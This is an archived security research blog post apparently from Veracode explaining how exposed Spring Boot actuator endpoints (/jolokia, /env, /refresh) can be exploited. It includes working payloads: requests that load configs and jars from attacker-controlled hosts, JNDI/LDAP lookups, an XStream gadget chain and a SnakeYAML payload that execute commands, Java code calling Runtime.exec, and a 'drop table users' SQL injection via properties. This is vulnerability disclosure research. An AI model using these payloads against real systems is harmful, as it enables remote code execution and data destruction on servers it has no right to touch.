

Exploiting Spring Boot Actuators

Exploiting Spring Boot Actuators - Author not stated, Veracode.

- Published: 2019-02-25
- Original: <<https://www.veracode.com/blog/research/exploiting-spring-boot-actuators>>
- Preserved from: <https://www.veracode.com/blog/research/exploiting-spring-boot-actuators> (stored) on 2026-08-14
- Capture timestamp: 20191210085600
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Exploiting Spring Boot Actuators | Veracode blog

[[image: mstepankin's picture](#)](<https://www.veracode.com/blog/author/michael-stepankin>) By [Michael Stepankin](#)

[Research](#)

This post was updated May 1, 2019

The Spring Boot Framework includes a number of features called actuators to help you monitor and manage your web application when you push it to production. Intended to be used for auditing, health, and metrics gathering, they can also open a hidden door to your server when misconfigured.

When a Spring Boot application is running, it automatically registers several endpoints (such as '/health', '/trace', '/beans', '/env' etc) into the routing process. For Spring Boot 1 - 1.4, they are accessible without authentication, causing significant problems with security. Starting with Spring version 1.5, all endpoints apart from '/health' and '/info' are considered sensitive and secured by default, but this security is often disabled by the application developers.

The following Actuator endpoints could potentially have security implications leading to possible vulnerabilities:

- /dump - displays a dump of threads (including a stack trace)
- /trace - displays the last several HTTP messages (which could include session identifiers)
- /logfile - outputs the contents of the log file
- /shutdown - shuts the application down
- /mappings - shows all of the MVC controller mappings

- /env - provides access to the configuration environment
- /restart - restarts the application

For Spring 1x, they are registered under the root URL, and in 2x they moved to the "/actuator/" base path.

Exploitation:

Most of the actuators support only GET requests and simply reveal sensitive configuration data, but several of them are particularly interesting for shell hunters:

1. Remote Code Execution via '/jolokia'

If the Jolokia Library is in the target application classpath, it is automatically exposed by Spring Boot under the '/jolokia' actuator endpoint. Jolokia allows HTTP access to all registered MBeans and is designed to perform the same operations you can perform with JMX. It is possible to list all available MBeans actions using the URL:

<http://127.0.0.1:8090/jolokia/list>

Again, most of the MBeans actions just reveal some system data, but one is particularly interesting:

[image: image]

The '**reloadByURL**' action, provided by the Logback library, allows us to reload the logging config from an external URL. It could be triggered just by navigating to:

<http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http://artspl0it.com/logback.xml>

So, why should we care about logging config? Mainly because of two things:

- Config has an XML format, and of course, Logback parses it with External Entities enabled, hence it is vulnerable to blind XXE.
- The Logback config has the feature '**Obtaining variables from JNDI**'. In the XML file, we can include a tag like '**<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />**' and the name attribute will be passed to the `DirContext.lookup()` method. If we can supply an arbitrary name into the `.lookup()` function, we don't even need XXE or HeapDump because it gives us a full **Remote Code Execution**.

How it works:

1. An attacker requests the aforementioned URL to execute the 'reloadByURL' function, provided by the 'qos.logback.classic.jmx.JMXConfigurator' class.
1. The 'reloadByURL' function downloads a new config from <http://artspl0it.com/logback.xml> and parses it as a Logback config. This malicious config should have the following content:

```
*<configuration>
  <insertFromJNDI env-entry-name="ldap://artspl0it.com:1389/jndi" as="appName" />
</configuration>*
```

1. When this file is parsed on the vulnerable server, it creates a connection to the attacker-controlled LDAP server specified in the "env-entry-name" parameter value, which leads to JNDI resolution. The malicious LDAP server may return an object with 'Reference' type to trigger an **execution of the supplied bytecode** on the target application. JNDI attacks are well explained in this [MicroFocus research paper](#). The [new JNDI exploitation technique](#) (described previously in our blog) also works here, as Tomcat is the default application server in the Spring Boot Framework.

2. Config modification via '/env'

If Spring Cloud Libraries are in the classpath, the **'/env'** endpoint allows you to modify the Spring environmental properties. All beans annotated as **'@ConfigurationProperties'** may be modified and rebinded. Many, but not all, properties we can control are listed on the '/configprops' actuator endpoint. Actually, there are tons of them, but it is absolutely not clear what we need to modify to achieve something. After spending a couple of days playing with them we found this:

```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=[http://artsploit.com/n/xstream](https://www.veracode.com/)
```

This property modifies the Eureka serviceURL to an arbitrary value. Eureka Server is normally used as a discovery server, and almost all Spring Cloud applications register at it and send status updates to it. If you are lucky to have Eureka-Client <1.8.7 in the target classpath (it is normally included in Spring Cloud Netflix), you can exploit the **XStream deserialization vulnerability** in it. All you need to do is to set the 'eureka.client.serviceUrl.defaultZone' property to your server URL (<http://artsploit.com/n/xstream>) via '/env' and then call '/refresh' endpoint. After that, your server should serve the XStream payload with the following content:

```

<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <servicelocator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </servicelocator>
            </lock>
          </cipher>
          <input class="java.lang.ProcessBuilder$NullInputStream"/>
          <ibuffer></ibuffer>
        </is>
      </dataSource>
    </dataHandler>
  </value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

```

This XStream payload is a slightly modified version of the ImageIO JDK-only gadget chain from the [Marshalsec research](#). The only difference here is using **LinkedHashSet** to trigger the 'jdk.nashorn.internal.objects.NativeString.hashCode()' method. The original payload leverages java.lang.Map to achieve the same behaviour, but Eureka's XStream configuration has a [custom converter for maps](#) which makes it unusable. The payload above does not use Maps at all and can be used to achieve Remote Code Execution without additional constraints.

Using Spring Actuators, you can actually exploit this vulnerability even if you don't have access to an internal Eureka server; you only need an "/env" endpoint available.

Other useful settings:

spring.datasource.tomcat.validationQuery=drop+table+users - allows you to specify any SQL query, and it will be automatically executed against the current database. It could be any statement, including insert, update, or delete.

exploiting_spring_boot_actuators_drop_table.png

[image: Exploiting Spring Boot Actuators Drop Table]

spring.datasource.tomcat.url=jdbc:hsqldb:https://localhost:3002/xd - allows you to modify the current JDBC connection string.

The last one looks great, but the problem is when the application running the database connection is already established, just updating the JDBC string does not have any effect. Hopefully, there is another property that may help us in this case:

spring.datasource.tomcat.max-active=777

The trick we can use here is to increase the number of simultaneous connections to the database. So, we can change the JDBC connection string, increase the number of connections, and after that send many requests to the application to simulate heavy load. Under the load, the application will create a new database connection with the updated malicious JDBC string. I tested this technique locally against Mysql and it works like a charm.

exploiting_spring_boot_actuators_max_active.png

[image: Exploiting Spring Boot Actuators Max Active]

Apart from that, there are other properties that look interesting, but, in practice, are not really useful:

spring.datasource.url - database connection string (used only for the first connection)

spring.datasource.jndiName - databases JNDI string (used only for the first connection)

spring.datasource.tomcat.dataSourceJNDI - databases JNDI string (not used at all)

spring.cloud.config.uri=http://artspl0it.com/ - spring cloud config url (does not have any effect after app start, only the initial values are used.)

These properties do not have any effect unless the '/restart' endpoint is called. This endpoint restarts all ApplicationContext but its disabled by default.

There are a lot of other interesting properties, but most of them do not take immediate effect after change.

N.B. In Spring Boot 2x, the request format for modifying properties via the '/env' endpoint is slightly different (it uses json format instead), but the idea is the same.

An example of the vulnerable app:

If you want to test this vulnerability locally, I created a [simple Spring Boot application on my Github page](#). All payloads should work there, except for database settings (unless you configure it).

Black box discovery:

A full list of default actuators may be found here: <https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt>. Keep in mind that application developers can create their own endpoints using @Endpoint annotation.

Update May 2019:

There is a more reliable way to achieve RCE via a Spring environmental properties modification:

```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=[http://artsploit.com/yaml-payload.yml](https://www.veracode.com/)
```

This request modifies the 'spring.cloud.bootstrap.location' property, which is used to load external config and parse it in YAML format. To make this happen, we also need to call the '/refresh' endpoint.

```
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```

When the YAML config is fetched from the remote server, it is parsed with the SnakeYAML library, which is also susceptible to deserialization attacks. The payload (yaml-payload.yml) may be generated by using the aforementioned Marshalsec research :

```
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["[http://artsploit.com/yaml-payload.jar](https://www.veracode.com/)"]
  ]]
]
```

Deserialization of this file triggers execution of the ScriptEngineManager's constructor with the supplied URLClassLoader. In a nutshell, it leads to the **'java.util.ServiceLoader#load(java.lang.Class<S>, java.lang.ClassLoader)'** method, which tries to find all implementations of the 'ScriptEngineFactory' interface within all libraries in the classpath. Since we can add a new library via URLClassLoader, we can serve a new 'ScriptEngineFactory' with the malicious bytecode inside. In order to do so, we need to create a jar

archive with the following mandatory files: [yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.y.class](#) should contain the actual bytecode, with the malicious payload in the constructor.

```
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("dig [scriptengine.x.artsploit.com](https://www.veracode.com/);");
            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
```

[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](#) should be just a text file containing a full reference to 'artsploit.AwesomeScriptEngineFactory', so that the ServiceLoader will know where to find the class: **artsploit.AwesomeScriptEngineFactory** Again, this exploitation technique requires spring cloud to be in the classpath, but in comparison to Eureka's XStream payload, it works even in the latest version. You can find the complete payload in my github project: [yaml-payload](#).

[[image: mstepankin's picture](#)](<https://www.veracode.com/blog/author/michael-stepankin>)

* *By Michael Stepankin* *

Michael Stepankin is a Security Researcher at Veracode. He works on bringing new detection features to Veracode's dynamic and static scanner engines. As a passionate hacker, he loves to hack enterprise java applications by day and write beautiful JavaScript code by night. Listed in Halls of Fame of various bug bounty programs, Michael has also worked as a penetration tester for many years.